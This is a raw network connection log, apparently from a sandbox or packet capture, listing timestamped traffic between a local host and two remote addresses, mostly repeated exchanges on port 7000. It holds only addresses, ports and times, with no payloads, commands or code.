Nov 23, 2024 06:53:57.895524025 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:53:57.898895025 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:53:57.948683977 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:54:01.797100067 CET	49711	443	192.168.2.12	104.20.3.235
Nov 23, 2024 06:54:01.797130108 CET	443	49711	104.20.3.235	192.168.2.12
Nov 23, 2024 06:54:01.797188044 CET	49712	443	192.168.2.12	104.20.3.235
Nov 23, 2024 06:54:01.797203064 CET	49711	443	192.168.2.12	104.20.3.235
Nov 23, 2024 06:54:01.797204018 CET	443	49712	104.20.3.235	192.168.2.12
Nov 23, 2024 06:54:01.797264099 CET	49712	443	192.168.2.12	104.20.3.235
Nov 23, 2024 06:54:01.808038950 CET	49711	443	192.168.2.12	104.20.3.235
Nov 23, 2024 06:54:01.808038950 CET	49712	443	192.168.2.12	104.20.3.235
Nov 23, 2024 06:54:01.808063030 CET	443	49712	104.20.3.235	192.168.2.12
Nov 23, 2024 06:54:01.808063030 CET	443	49711	104.20.3.235	192.168.2.12
Nov 23, 2024 06:54:03.046839952 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:54:03.072998047 CET	443	49711	104.20.3.235	192.168.2.12
Nov 23, 2024 06:54:03.072999954 CET	443	49712	104.20.3.235	192.168.2.12
Nov 23, 2024 06:54:03.073144913 CET	49711	443	192.168.2.12	104.20.3.235
Nov 23, 2024 06:54:03.076253891 CET	49711	443	192.168.2.12	104.20.3.235
Nov 23, 2024 06:54:03.076265097 CET	443	49711	104.20.3.235	192.168.2.12
Nov 23, 2024 06:54:03.076348066 CET	49712	443	192.168.2.12	104.20.3.235
Nov 23, 2024 06:54:03.076514959 CET	443	49711	104.20.3.235	192.168.2.12
Nov 23, 2024 06:54:03.079392910 CET	49712	443	192.168.2.12	104.20.3.235
Nov 23, 2024 06:54:03.079402924 CET	443	49712	104.20.3.235	192.168.2.12
Nov 23, 2024 06:54:03.079663038 CET	443	49712	104.20.3.235	192.168.2.12
Nov 23, 2024 06:54:03.103240967 CET	49711	443	192.168.2.12	104.20.3.235
Nov 23, 2024 06:54:03.120661974 CET	49712	443	192.168.2.12	104.20.3.235
Nov 23, 2024 06:54:03.133317947 CET	49712	443	192.168.2.12	104.20.3.235
Nov 23, 2024 06:54:03.147330999 CET	443	49711	104.20.3.235	192.168.2.12
Nov 23, 2024 06:54:03.166493893 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:54:03.179342031 CET	443	49712	104.20.3.235	192.168.2.12
Nov 23, 2024 06:54:03.471158028 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:54:03.474545002 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:54:03.594100952 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:54:03.910271883 CET	443	49711	104.20.3.235	192.168.2.12
Nov 23, 2024 06:54:03.910566092 CET	443	49711	104.20.3.235	192.168.2.12
Nov 23, 2024 06:54:03.910693884 CET	49711	443	192.168.2.12	104.20.3.235
Nov 23, 2024 06:54:03.914400101 CET	443	49712	104.20.3.235	192.168.2.12
Nov 23, 2024 06:54:03.914520979 CET	443	49712	104.20.3.235	192.168.2.12
Nov 23, 2024 06:54:03.914628029 CET	49712	443	192.168.2.12	104.20.3.235
Nov 23, 2024 06:54:03.922756910 CET	49712	443	192.168.2.12	104.20.3.235
Nov 23, 2024 06:54:03.936089039 CET	49711	443	192.168.2.12	104.20.3.235
Nov 23, 2024 06:54:09.881690979 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:54:09.933123112 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:54:14.293061018 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:54:14.412553072 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:54:14.713493109 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:54:14.716490030 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:54:14.835989952 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:54:25.544965029 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:54:25.664489985 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:54:25.965806007 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:54:25.967794895 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:54:26.087377071 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:54:36.793000937 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:54:36.912652016 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:54:37.213828087 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:54:37.218236923 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:54:37.337723017 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:54:39.883598089 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:54:39.933809996 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:54:48.047476053 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:54:48.268245935 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:54:48.467890024 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:54:48.471684933 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:54:48.591201067 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:54:59.424921036 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:54:59.544744968 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:54:59.846262932 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:54:59.848915100 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:54:59.968477011 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:00.668078899 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:00.787693024 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:01.088545084 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:01.096934080 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:01.216522932 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:02.808633089 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:02.928023100 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:03.108975887 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:03.228585958 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:03.228952885 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:03.230792999 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:03.390821934 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:03.529550076 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:03.531094074 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:03.650580883 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:04.918097973 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:05.037677050 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:05.338713884 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:05.340956926 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:05.460629940 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:05.652941942 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:05.772459984 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:06.073363066 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:06.075356007 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:06.194847107 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:07.980937004 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:08.100430965 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:08.402211905 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:08.404396057 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:08.524014950 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:08.871161938 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:08.990653992 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:09.438690901 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:09.440574884 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:09.560228109 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:09.560381889 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:09.679968119 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:09.881019115 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:09.933216095 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:10.072803974 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:10.074489117 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:10.194077969 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:10.277301073 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:10.396779060 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:10.396858931 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:10.516311884 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:10.516417980 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:10.635994911 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:10.636068106 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:10.704952002 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:10.745735884 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:10.757736921 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:10.757797956 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:10.828044891 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:10.870765924 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:10.877234936 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:10.877315044 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:10.947732925 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:10.996763945 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:10.996834993 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:11.000965118 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:11.094512939 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:11.120383024 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:11.120537996 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:11.239979982 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:11.290627003 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:11.295362949 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:11.414933920 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:11.415015936 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:11.534563065 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:14.089934111 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:14.209450006 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:14.510685921 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:14.512434006 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:14.631866932 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:20.964865923 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:21.084290028 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:21.385474920 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:21.388869047 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:21.508315086 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:25.777379036 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:25.896872997 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:26.089900970 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:26.198010921 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:26.209491014 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:26.209629059 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:26.329190969 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:26.510324001 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:26.512090921 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:26.631571054 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:33.230531931 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:33.350003004 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:33.778789043 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:33.805335045 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:33.924866915 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:36.371206045 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:36.490664959 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:36.791728020 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:36.797458887 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:36.916889906 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:36.916955948 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:37.036396980 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:37.074148893 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:37.193679094 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:37.374941111 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:37.377027988 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:37.496498108 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:37.566776991 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:37.568341970 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:37.687829018 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:39.890249014 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:39.933281898 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:41.887809992 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:42.007381916 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:42.308686972 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:42.310214996 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:42.429626942 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:44.949261904 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:45.068802118 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:45.427654028 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:45.430696011 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:45.550143957 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:47.027410030 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:47.146910906 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:47.149164915 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:47.268801928 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:47.447935104 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:47.449465036 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:47.569272041 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:47.639671087 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:47.642580032 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:47.762031078 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:52.292896032 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:52.412353039 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:52.412415981 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:52.532016993 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:52.713675022 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:52.761445045 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:52.804575920 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:52.905648947 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:52.924021959 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:52.939723969 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:53.059181929 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:54.105494976 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:54.229227066 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:54.533483028 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:55:54.534956932 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:55:54.654443026 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:02.715138912 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:02.834798098 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:03.059114933 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:03.136478901 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:03.137254953 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:03.178601027 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:03.178767920 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:03.256748915 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:03.298264980 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:03.479356050 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:03.485148907 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:03.604680061 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:03.671139002 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:03.672704935 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:03.792148113 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:03.889102936 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:04.009704113 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:04.309381008 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:04.311163902 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:04.430797100 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:08.449490070 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:08.569024086 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:08.870152950 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:08.873537064 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:08.993130922 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:09.882869959 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:09.937124968 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:19.699479103 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:19.818959951 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:20.121092081 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:20.123646021 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:20.243156910 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:21.058749914 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:21.178427935 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:21.479571104 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:21.485160112 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:21.604763031 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:28.996356010 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:29.115845919 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:29.116090059 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:29.236438036 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:29.239495039 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:29.359998941 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:29.417644978 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:29.421359062 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:29.540822983 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:29.551995993 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:29.554557085 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:29.714914083 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:29.717320919 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:29.732882023 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:29.836973906 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:29.837394953 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:29.866218090 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:29.998902082 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:30.001302004 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:30.120814085 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:30.156826973 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:30.158863068 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:30.312864065 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:30.314471006 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:30.474917889 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:30.474982977 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:30.594475985 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:34.871294975 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:34.990828037 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:34.991043091 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:35.113964081 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:35.292416096 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:35.297259092 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:35.418940067 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:35.484282970 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:35.489197016 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:35.608758926 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:35.608784914 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:35.613185883 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:35.774909973 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:35.777282000 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:35.896758080 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:36.219640970 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:36.221438885 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:36.340945005 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:39.881933928 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:39.933480024 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:40.108530045 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:40.228003025 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:40.529457092 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:40.535041094 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:40.654546976 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:40.654597044 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:40.774718046 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:40.774806023 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:40.894479990 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:41.110435009 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:41.112746000 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:41.232949018 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:41.304032087 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:41.308753014 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:41.424644947 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:41.428258896 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:41.431559086 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:41.551233053 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:49.121475935 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:49.241096020 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:49.542483091 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:49.549271107 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:49.668831110 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:50.574558973 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:50.694097042 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:50.793574095 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:50.913023949 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:50.913180113 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:50.995079041 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:51.032756090 CET	7000	49710	154.216.17.204	192.168.2.12
Nov 23, 2024 06:56:51.032890081 CET	49710	7000	192.168.2.12	154.216.17.204
Nov 23, 2024 06:56:51.152411938 CET	7000	49710	154.216.17.204	192.168.2.12
